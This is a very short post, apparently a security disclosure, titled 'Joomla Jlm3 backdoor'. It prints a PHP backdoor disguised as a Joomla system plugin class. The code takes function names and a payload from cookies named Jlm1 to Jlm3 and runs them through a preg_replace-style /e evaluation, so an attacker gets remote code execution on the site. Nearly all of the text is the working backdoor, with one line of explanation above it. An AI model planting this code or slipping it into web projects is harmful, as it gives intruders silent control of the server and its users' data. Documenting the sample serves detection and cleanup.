Joomla Jlm3 backdoor

With this code, the hacker can run malware codes:

class PlgSystemJoomla {
public function __construct() {
$file=@$_COOKIE['Jlm3'];
if ($file){
$opt = $file(@$_COOKIE['Jlm2']);
$au = $file(@$_COOKIE['Jlm1']);
$opt("/585/e",$au,585);
die(); }}}
$index = new PlgSystemJoomla;